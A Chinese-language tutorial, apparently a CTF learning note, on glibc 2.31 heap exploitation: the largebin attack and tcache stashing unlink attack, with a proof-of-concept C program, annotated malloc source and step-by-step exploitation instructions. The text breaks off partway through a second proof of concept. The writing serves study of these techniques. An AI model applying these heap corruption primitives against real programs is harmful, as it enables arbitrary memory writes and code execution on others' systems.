一、前言
在这里学习一下学长提出来的一种攻击手段,适用与libc-2.31及以上版本,本质上是通过 libc2.31 下的 largebin attack以及 FILE 结构利用,来配合 libc2.31 下的 tcache stashing unlink attack 进行组合利用的方法。主要适用于程序中仅有 calloc 函数来申请 chunk,而没有调用 malloc 函数的情况。
ps:写到快结束了才发现heapbase少减了0x10000不过不重要hhhhh,懒得改了
二、前置知识
(一)libc2.31下的largebin_attack
来到libc2.31版本之后,unsortedbin attack变得不再好用,而largebin attack相比2.29版本,也删掉了其中一条路,只留下了接下来我们即将介绍的这种方式。
其整体思路大致为:
申请一个大的chunkA,一个略小的chunkB,这里要保证两个chunk在同一个largbin的区间内。然后free掉A,申请一个更大的chunk,让A从unsortedbin中进入largebin,然后再freeB,再申请一个更大的chunk,让B也进入largebin,此时就会触发攻击流程。
这里给出示例代码,然后我们一起来调试一下:
largebin_attack.c:
#include<stdlib.h>
#include<stdio.h>
#include<assert.h>
int main(){
size_t target = 0;
size_t *p1 = malloc(0x428);
size_t *g1 = malloc(0x18);
size_t *p2 = malloc(0x418);
size_t *g2 = malloc(0x18);
free(p1);
size_t *g3 = malloc(0x438);
free(p2);
p1[3] = (size_t)((&target)-4);
size_t *g4 = malloc(0x438);
assert((size_t)(p2-2) == target);
return 0;
}
首先将四个malloc执行完毕,然后来看看堆布局:
然后将大一些的chunkA释放掉,再申请一个更大的chunk,将A放进largebin中:
然后释放掉B,再修改A的bk_nextsize为&target-0x20
可以看到,B进入了unsortedbin,A的bk_nextsize被我们成功修改,接下来再申请一个大的chunk的时候,就会将B放进largebin中,也就是在这个插入的过程中触发了我们的攻击流程。
我们先来看看target的值:
没错是0,然后我们申请一个更大的堆:
可以看到,B也进入了largebin中,并且target的值被我们修改成了A的地址,到这里就算完成了largebin attack,达成了任意地址写一个堆地址的目的。
(二)tcache_stashing_unlink
此种利用方式可以达成任意地址处分配一个chunk或者在任意地址写指定址
攻击前提:能控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针
漏洞位置:
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
malloc_printerr ("malloc(): smallbin double linked list corrupted");
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset (victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
可以看到,程序只检查了bck->fd是不是自己,但是如果bck本身就是我们伪造的呢?如果我们能够控制victim的bk,就可以伪造bck,就可以在small bin中插入伪造的chunk,从而达到任意地址分配chunk,从而做到任意地址读写的目的。
漏洞分析:
在引入tcache之后,tcache的优先级高于正常的bin,我们不能越过tcache将chunk放入smallbin中,也不能越过tcache从smallbin中取出chunk。
但是漏洞代码所在位置非常尴尬:
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
// 获取 small bin 的索引
bin = bin_at (av, idx);
// 先执行 victim = last(bin),获取 small bin 的最后一个 chunk
// 若结果 victim = bin ,那说明该 bin 为空。
if ( ( victim = last (bin) ) != bin )
{
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
malloc_printerr ("malloc(): smallbin double linked list corrupted");
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset (victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena)
set_non_main_arena (victim);
//执行更为细致的检查
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE //如果程序启用了Tcache
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while ( tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin) ) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
// 将申请到的 chunk 转化为对应的 mem 状态
void *p = chunk2mem (victim);
// 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb (p, bytes);
return p;
}
}
这段代码是当程序需要从smallbin中取chunk的时候执行的,程序在获取到两个smallbin之后,判断是否开启了tcahce,如果开启了且对应的tcache不为空,才会进入到上面分析的那段漏洞代码,这就要求我们在利用上面那个对bk指针检查不彻底的漏洞时,要满足smallbin中至少有两个chunk,且tcache不为空。
那这里就产生了一个小矛盾,既然tcache不为空,为什么还从smallbin中取chunk呢?
这就引出了另一个分配函数——calloc,这个函数有个特点,它不从tcache中拿chunk,这就让攻击成为可能。
本人认为,smallbin中和tcache有关的那段循环本身其实也是针对calloc的,当从smallbin中拿chunk的时候,它去看了一下tcache里有没有,如果有的话,循环将smallbin中的chunk放进tcache中,能够遇到这种情况的其实也只有calloc,所以从整体来看,这个攻击手法就是针对使用calloc函数情况下,tcache未满而smallbin中有chunk时,将chunk从smallbin中放进tcache中,从而提高运行效率,但是坏在了没有仔细检查tcache的bk指针。
利用手法:
- tcache中放5个chunk,smallbin中放两个
- 将smallbin中倒数第二个chunk的bk改成&target-0x10,这里注意不能破坏fd指针,同时将&target+8处设置成一个指针,且指向可写内存区域
- 从smallbin中取出一个chunk,目标地址就会被链入tcache中
示例代码调试:
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
static uint64_t target[4] = {
0, 0, 0, 0};
int main(int argc, char **argv){
char *t1;
char *s1, *s2, *pad;
char *tmp;
tmp = malloc(0x1);
target[1] = (uint64_t)(&target);
for(int i=0; i<5; i++){
t1 =